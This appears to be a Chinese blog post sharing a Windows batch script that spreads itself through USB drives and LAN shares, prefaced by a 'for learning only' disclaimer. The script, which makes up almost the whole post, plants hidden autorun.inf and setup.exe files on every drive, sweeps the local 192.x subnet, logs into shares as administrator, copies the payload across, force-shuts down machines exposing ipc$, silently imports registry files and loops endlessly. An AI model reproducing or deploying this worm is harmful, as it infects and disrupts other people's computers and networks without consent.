通过U盘和局域网共享传播的批处理代码

仅供学习,大家不要做违法的事,切记!

 

  
  
  
  
  1.  
  2. @echo off  
  3. set hty1=%windir%\system32\  
  4. :sm  
  5. attrib -r -s -h %hty1%setup.exe & attrib -r -s -h %hty1%autorun.inf  
  6. for %%i in (d e f g h i j k l m n o p q r s t u v w x y z) do (  
  7.    fsutil fsinfo drives | findstr /i %%i || goto attr  
  8.    dir /a/b %%i:\autorun.inf && attrib -r -s -h %%i:\autorun.inf  
  9.    copy %hty1%autorun.inf %%i: & attrib +r +s +h %%i:\autorun.inf  
  10.    dir /a/b %%i:\setup.exe || (copy %hty1%setup.exe %%i: && attrib +r +s +h %%i:\setup.exe)  
  11.    )  
  12. :attr  
  13. attrib +r +s +h %hty1%setup.exe & attrib +r +s +h %hty1%autorun.inf  
  14. ipconfig /all |find /i "ip address" || (ping 127.1 -n 10 && goto sm)  
  15. for /f "tokens=15" %%i in ('ipconfig /all^|find /i "ip address"') do (  
  16.      for /f "tokens=1-3 delims=." %%a in ("%%i") do (  
  17.            if %%a EQU 192 (  
  18.            for /l %%e in (1,1,255) do (  
  19.                 ping %%a.%%b.%%c.%%e -n 1 -l 1 -w 1 &&(  
  20.                 for /f "skip=7 eol=命" %%t in ('net view \\%%a.%%b.%%c.%%e') do (  
  21.                      if "%%t" NEQ "" (  
  22.                      net use \\%%a.%%b.%%c.%%e\%%t /u:administrator && (attrib  -r -s -h %hty1%setup.exe && copy %hty1%setup.exe \\%%a.%%b.%%c.%%e\%%t && attrib +r +s +h %hty1%setup.exe)  
  23.                      if "%%t" EQU "ipc$" shutdown -s -f -t 0 -m \\%%a.%%b.%%c.%%e  
  24.                      )  
  25.                  ))  
  26.             )  
  27.            ) else ping 127.1 -n 20  
  28.       )  
  29. )  
  30. regedit /s %windir%\system32\expl.reg>nul 2>nul  
  31. regedit /s %windir%\system32\high.reg>nul 2>nul  
  32. goto sm  

 

你可能感兴趣的:(职场,bat,休闲)